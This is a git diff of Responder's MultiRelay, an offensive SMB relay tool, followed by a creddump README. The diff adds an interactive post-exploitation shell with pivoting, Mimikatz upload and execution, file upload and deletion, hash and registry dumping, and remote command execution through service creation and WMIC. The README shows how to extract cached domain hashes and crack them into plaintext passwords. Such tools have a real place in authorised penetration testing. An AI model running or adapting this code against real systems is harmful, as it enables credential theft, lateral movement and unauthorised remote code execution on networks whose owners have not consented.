#Let's kill that connection so we can force him to reauth with another account. #Let's kill that connection so we can force him to reauth with another account.
if RunCmd is None: if RunCmd is None:
s.close() s.close()
return None return None
else: else:
##Send logon failure, so our client might authenticate with another account. ##Send logon failure, so our client might authenticate with another account.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
t = SMBSessEmpty() t = SMBSessEmpty()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
self.request.send(buffer1) self.request.send(buffer1)
data = self.request.recv(4096) data = self.request.recv(4096)
s.close() self.request.close()
return None return None
except Exception: except Exception:
s.close()
self.request.close() self.request.close()
##No need to print anything (timeouts, rst, etc) to the user console.. ##No need to print anything (timeouts, rst, etc) to the user console..
pass pass
#Interface starts here. #Interface starts here.
def RunShellCmd(data, s, clientIP, Host, Username, Domain): def RunShellCmd(data, s, clientIP, Target, Username, Domain):
#Let's declare our globals here..
#Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode.
global Pivoting
#Update Host, when pivoting is used.
global Host
#Make sure we don't open 2 shell at the same time..
global ShellOpen
ShellOpen = ["Shell is open"]
# On this block we do some verifications before dropping the user into the shell. # On this block we do some verifications before dropping the user into the shell.
if data[8:10] == "\x73\x6d": if data[8:10] == "\x73\x6d":
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target." print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
print "[+] Hashes were saved anyways in Responder/logs/ folder.\n" print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False return False
if data[8:10] == "\x73\x8d": if data[8:10] == "\x73\x8d":
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n" print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False return False
if data[8:10] == "\x73\x5e": if data[8:10] == "\x73\x5e":
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n" print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
del ShellOpen[:]
return False return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
## Tree Connect ## Tree Connect
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00":
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$") t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## Nope he doesn't. ## Nope he doesn't.
if data[8:10] == "\x75\x22": if data[8:10] == "\x75\x22":
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" if Pivoting[0] == "1":
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") pass
else:
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False return False
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. # This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
if data[8:10] == "\x75\xcc": if data[8:10] == "\x75\xcc":
print "[+] Tree Connect AndX denied. Bad Network Name returned." print "[+] Tree Connect AndX denied. Bad Network Name returned."
del ShellOpen[:]
return False return False
## Tree Connect on C$ is successfull. ## Tree Connect on C$ is successfull.
if data[8:10] == "\x75\x00": if data[8:10] == "\x75\x00":
print "[+] Looks good, "+Username+" has admin rights on C$." if Pivoting[0] == "1":
pass
else:
print "[+] Looks good, "+Username+" has admin rights on C$."
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$") t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
@@ -495,19 +563,21 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
print "[+] Authenticated." print "[+] Authenticated."
if OneCommand != None: if OneCommand != None:
print "[+] Running command: %s"%(OneCommand) print "[+] Running command: %s"%(OneCommand)
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host) RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
if Dump: if Dump:
print "[+] Dumping hashes" print "[+] Dumping hashes"
DumpHashes(data, s, Host) DumpHashes(data, s, Target[0])
os._exit(1) os._exit(1)
## Drop into the shell. ## Drop into the shell.
if data[8:10] == "\x75\x00" and OneCommand == None: if data[8:10] == "\x75\x00" and OneCommand == None:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" if Pivoting[0] == "1":
ShowHelp() pass
#Make sure we don't open 2 shell at the same time.. else:
global ShellOpen print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShellOpen = ["Shell is open"] ShowHelp()
Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
while True: while True:
@@ -515,50 +585,166 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
if data[8:10] == "\x75\x00": if data[8:10] == "\x75\x00":
#start a thread for raw_input, so we can do other stuff while we wait for a command. #start a thread for raw_input, so we can do other stuff while we wait for a command.
t = Thread(target=get_command, args=()) t = Thread(target=get_command, args=())
t.daemon = True
t.start() t.start()
t.join()
#For now, this is not functionning as expected. The SMB echos are killing the connection #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation
#way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself. #to maintain MultiRelay alive and well.
#So let's use the tree connects wait (average time before timeout:5-12h) count = 0
""" DoEvery = random.randint(10, 45)
while any(x in Cmd for x in Cmd) is False: while any(x in Cmd for x in Cmd) is False:
count = count+1
SMBKeepAlive(s, data) SMBKeepAlive(s, data)
time.sleep(20) if count == DoEvery:
pass DumbSMBChain(data, s, Target[0])
""" count = 0
if any(x in Cmd for x in Cmd) is True:
break
##Grab the commands. Cmd is global in get_command(). ##Grab the commands. Cmd is global in get_command().
Read = re.findall(r'(?<=read )[^\r]*', Cmd[0]) DumpReg = re.findall('^dump', Cmd[0])
RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0]) Read = re.findall('^read (.*)$', Cmd[0])
Get = re.findall(r'(?<=get )[^\r]*', Cmd[0]) RegDump = re.findall('^regdump (.*)$', Cmd[0])
Help = re.findall(r'(?<=help)[^\r]*', Cmd[0]) Get = re.findall('^get (.*)$', Cmd[0])
Upload = re.findall('^upload (.*)$', Cmd[0])
Delete = re.findall('^delete (.*)$', Cmd[0])
RunAs = re.findall('^runas (.*)$', Cmd[0])
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
Mimi = re.findall('^mimi (.*)$', Cmd[0])
Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0])
Scan = re.findall('^scan (.*)$', Cmd[0])
Pivot = re.findall('^pivot (.*)$', Cmd[0])
Help = re.findall('^help', Cmd[0])
if Cmd[0] == "exit": if Cmd[0] == "exit":
print "[+]Returning in relay mode." print "[+] Returning in relay mode."
del Cmd[:] del Cmd[:]
del ShellOpen[:] del ShellOpen[:]
return None return None
##For all of the following commands we send the data (var:data) returned by the ##For all of the following commands we send the data (var: data) returned by the
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
##We also clean up the command array when done. ##We also clean up the command array when done.
if Cmd[0] == "dump": if DumpReg:
data = DumpHashes(data, s, Host) data = DumpHashes(data, s, Target[0])
del Cmd[:] del Cmd[:]
if Read: if Read:
File = Read[0] File = Read[0]
data = ReadFile(data, s, File, Host) data = ReadFile(data, s, File, Target[0])
del Cmd[:] del Cmd[:]
if Get: if Get:
File = Get[0] File = Get[0]
data = GetAfFile(data, s, File, Host) data = GetAfFile(data, s, File, Target[0])
del Cmd[:]
if Upload:
File = Upload[0]
if os.path.isfile(File):
FileSize, FileContent = UploadContent(File)
File = os.path.basename(File)
data = WriteFile(data, s, File, FileSize, FileContent, Target[0])
del Cmd[:]
else:
print File+" does not exist, please specify a valid file."
del Cmd[:]
if Delete:
Filename = Delete[0]
data = DeleteFile(data, s, Filename, Target[0])
del Cmd[:] del Cmd[:]
if RegDump: if RegDump:
Key = RegDump[0] Key = RegDump[0]
data = SaveAKey(data, s, Host, Key) data = SaveAKey(data, s, Target[0], Key)
del Cmd[:]
if RunAs:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = RunAs[0]
data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
del Cmd[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if LCmd:
subprocess.call(LCmd[0], shell=True)
del Cmd[:]
if Mimi:
if os.path.isfile(MimikatzFilename):
FileSize, FileContent = UploadContent(MimikatzFilename)
FileName = os.path.basename(MimikatzFilename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print MimikatzFilename+" does not exist, please specify a valid file."
del Cmd[:]
if Mimi32:
if os.path.isfile(Mimikatzx86Filename):
FileSize, FileContent = UploadContent(Mimikatzx86Filename)
FileName = os.path.basename(Mimikatzx86Filename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi32[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print Mimikatzx86Filename+" does not exist, please specify a valid file."
del Cmd[:]
if Pivot:
if Pivot[0] == Target[0]:
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
del Pivot[:]
del Cmd[:]
else:
if ShowSigning(Pivot[0]):
del Pivot[:]
del Cmd[:]
else:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
RunAsPath = '%windir%\\Temp\\'+FileName
Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
if Status == True:
print "[+] Pivoting to %s."%(Pivot[0])
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
#shell will close.
del ShellOpen[:]
#update the new host.
Host = [Pivot[0]]
#we're in pivoting mode.
Pivoting = ["1"]
data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName)
del Cmd[:]
s.close()
return None
if Status == False:
print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host."
del Cmd[:]
del Pivot[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if Scan:
LocalIp = FindLocalIp()
Range = ConvertToClassC(Target[0], Scan[0])
RunPivotScan(Range, Target[0])
del Cmd[:] del Cmd[:]
if Help: if Help:
@@ -568,18 +754,26 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
##Let go with the command. ##Let go with the command.
if any(x in Cmd for x in Cmd): if any(x in Cmd for x in Cmd):
if len(Cmd[0]) > 1: if len(Cmd[0]) > 1:
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host) if os.path.isfile(SysSVCFileName):
del Cmd[:] FileSize, FileContent = UploadContent(SysSVCFileName)
FileName = os.path.basename(SysSVCFileName)
RunPath = '%windir%\\Temp\\'+FileName
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
del Cmd[:]
else:
print SysSVCFileName+" does not exist, please specify a valid file."
del Cmd[:]
if data is None: if data is None:
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n" print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")# t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
@@ -594,7 +788,7 @@ def serve_thread_tcp(host, port, handler):
try: try:
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1) print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1)
def main(): def main():
@@ -613,6 +807,11 @@ def main():
time.sleep(1) time.sleep(1)
except (KeyboardInterrupt, SystemExit): except (KeyboardInterrupt, SystemExit):
##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default.
##This is a bug in python readline when dealing with raw_input()..
if ShellOpen:
os.system('stty sane')
##Then exit
sys.exit("\rExiting...") sys.exit("\rExiting...")
if __name__ == '__main__': if __name__ == '__main__':

File diff suppressed because it is too large Load Diff

View File

@@ -460,7 +460,42 @@ class SMBTreeConnectData(Packet):
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2] self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBTreeDisconnect(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc","\x00\x00"),
])
class SMBNTCreateData(Packet): class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x9F\x01\x02\x00"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x03\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x40\x00\x40\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x01"),
("Bcc", "\x08\x00"),
("FileName", ""),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBNTCreateDataSVCCTL(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x18"), ("Wordcount", "\x18"),
("AndXCommand", "\xff"), ("AndXCommand", "\xff"),
@@ -488,6 +523,15 @@ class SMBNTCreateData(Packet):
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"]))) self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1)) self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBLockingAndXResponse(Packet):
fields = OrderedDict([
("Wordcount", "\x02"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("Andxoffset", "\x00\x00"),
("Bcc", "\x00\x00"),
])
class SMBReadData(Packet): class SMBReadData(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x0a"), ("Wordcount", "\x0a"),
@@ -509,6 +553,31 @@ class SMBReadData(Packet):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet): class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\xde\xde"),
("FID", "\x06\x40"),
("Offset", "\x00\x00\x00\x00"),
("TimeOut", "\x00\x00\x00\x00"),
("WriteMode", "\x01\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x40\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Padding", "\x41"),
("Data", ""),
])
def calculate(self):
self.fields["DataLenLow"] = struct.pack("<H",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBDCERPCWriteData(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x0e"), ("Wordcount", "\x0e"),
("AndXCommand", "\xff"), ("AndXCommand", "\xff"),
@@ -532,6 +601,8 @@ class SMBWriteData(Packet):
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBTransDCERPC(Packet): class SMBTransDCERPC(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x10"), ("Wordcount", "\x10"),
@@ -591,7 +662,7 @@ class SMBDCEData(Packet):
("DataRepresent", "\x10\x00\x00\x00"), ("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"), ("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"), ("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"), ("CallID", "\x01\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"), ("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"), ("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"), ("GroupAssoc", "\x00\x00\x00\x00"),
@@ -688,7 +759,7 @@ class SMBDCESVCCTLCreateService(Packet):
("TagID", "\x00\x00\x00\x00"), ("TagID", "\x00\x00\x00\x00"),
("Dependencies", "\x00\x00\x00\x00"), ("Dependencies", "\x00\x00\x00\x00"),
("DependenciesLen", "\x00\x00\x00\x00"), ("DependenciesLen", "\x00\x00\x00\x00"),
("ServiceStartName", "\x00\x00\x00\x00"), ("ServiceStartUser", "\x00\x00\x00\x00"),
("Password", "\x00\x00\x00\x00"), ("Password", "\x00\x00\x00\x00"),
("PasswordLen", "\x00\x00\x00\x00"), ("PasswordLen", "\x00\x00\x00\x00"),
("Padding", "\x00\x00"), ("Padding", "\x00\x00"),
@@ -696,14 +767,14 @@ class SMBDCESVCCTLCreateService(Packet):
]) ])
def calculate(self): def calculate(self):
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
##Run the actual command via WMIC, no need to write/execute from a file.
self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
BinDataLen = str(self.fields["BinCMD"]) BinDataLen = str(self.fields["BinCMD"])
#Padding
if len(str(self.fields["BinCMD"]))%2==0:
self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00"
else:
self.fields["LoadOrderGroup"] = "\x00\x00"
## Calculate first ## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
@@ -711,12 +782,12 @@ class SMBDCESVCCTLCreateService(Packet):
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1) self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1) self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1) self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE ## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le') self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le') self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le') self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet): class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([ fields = OrderedDict([
("ContextHandle", ""), ("ContextHandle", ""),
@@ -767,6 +838,21 @@ class SMBDCESVCCTLQueryService(Packet):
("ContextHandle", ""), ("ContextHandle", ""),
]) ])
class SMBDCEMimiKatzRPCCommand(Packet):
fields = OrderedDict([
("ContextHandleLen", "\x07\x00\x00\x00"),
("ContextHandle", "\x00\x00\x00\x00"),
("ContextHandleLen2", "\x07\x00\x00\x00"),
("CMD", ""),
("CMDEnd", "\x00\x00"),
])
def calculate(self):
self.fields["ContextHandleLen"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["ContextHandleLen2"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["CMD"] = self.fields["CMD"].encode('utf-16le')
class OpenAndX(Packet): class OpenAndX(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x0f"), ("Wordcount", "\x0f"),
@@ -819,6 +905,42 @@ class ReadRequestAndX(Packet):
]) ])
class SMBDCERPCReadRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0C"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("MaxCountLow", "\xb8\x10"),
("MinCount", "\xb8\x10"),
("Timeout", "\xff\xff\xff\xff"),
("RemainingBytes", "\x00\x00"),
("HighOffset", "\x00\x00\x00\x00"),
("Bcc", "\x00\x00"),
])
class WriteRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x06"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x00\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\x0a\x00"),#actual Len
("DataOffset", "\x3f\x00"),
("Bcc", "\x0a\x00"),
("Padd", ""),
("Data", ""),
])
class CloseRequest(Packet): class CloseRequest(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -988,3 +1110,4 @@ class SMBDCEWinRegSaveKey(Packet):
self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2) self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2) self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

120
tools/MultiRelay/creddump/.gitignore vendored Normal file
View File

@@ -0,0 +1,120 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# PyCharm
.idea
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
.pylintrc

View File

@@ -6,4 +6,4 @@ Version: 0.3 Date: 8/1/2012
Version: 0.2 Date: 2/24/2011 Version: 0.2 Date: 2/24/2011
* Fixed issue with wrong format specifier being used (L instead of I), which * Fixed issue with wrong format specifier being used (L instead of I), which
caused creddump to fail on 64-bit systems. caused creddump to fail on 64-bit systems.

View File

@@ -0,0 +1,182 @@
#Information
This repo is for my modifications to the original 'creddump' program available
at:
https://code.google.com/p/creddump/
I did not write the original program.
I have combined many patches and fixes I have seen from different forums and
user suggestions, as well as modified the usage to make it a little more clear.
I followed patches and fixes from the following links:
* https://code.google.com/p/creddump/issues/detail?id=4
* https://code.google.com/p/volatility/issues/detail?id=92
Enjoy!
Ronnie Flathers (@ropnop)
###Usage
Mount a Windows 7/Vista partition:
```
# mkdir /mnt/win
# ntfs-3g /dev/sda1 /mnt/win
```
Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:
```
# ./cachedump.py
usage: ./cachedump.py <system hive> <security hive> <Vista/7>
Example (Windows Vista/7):
./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true
Example (Windows XP):
./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false
# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
```
If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:
```
# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes
Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])
g0d (god)
Welcome1! (nharpsis)
```
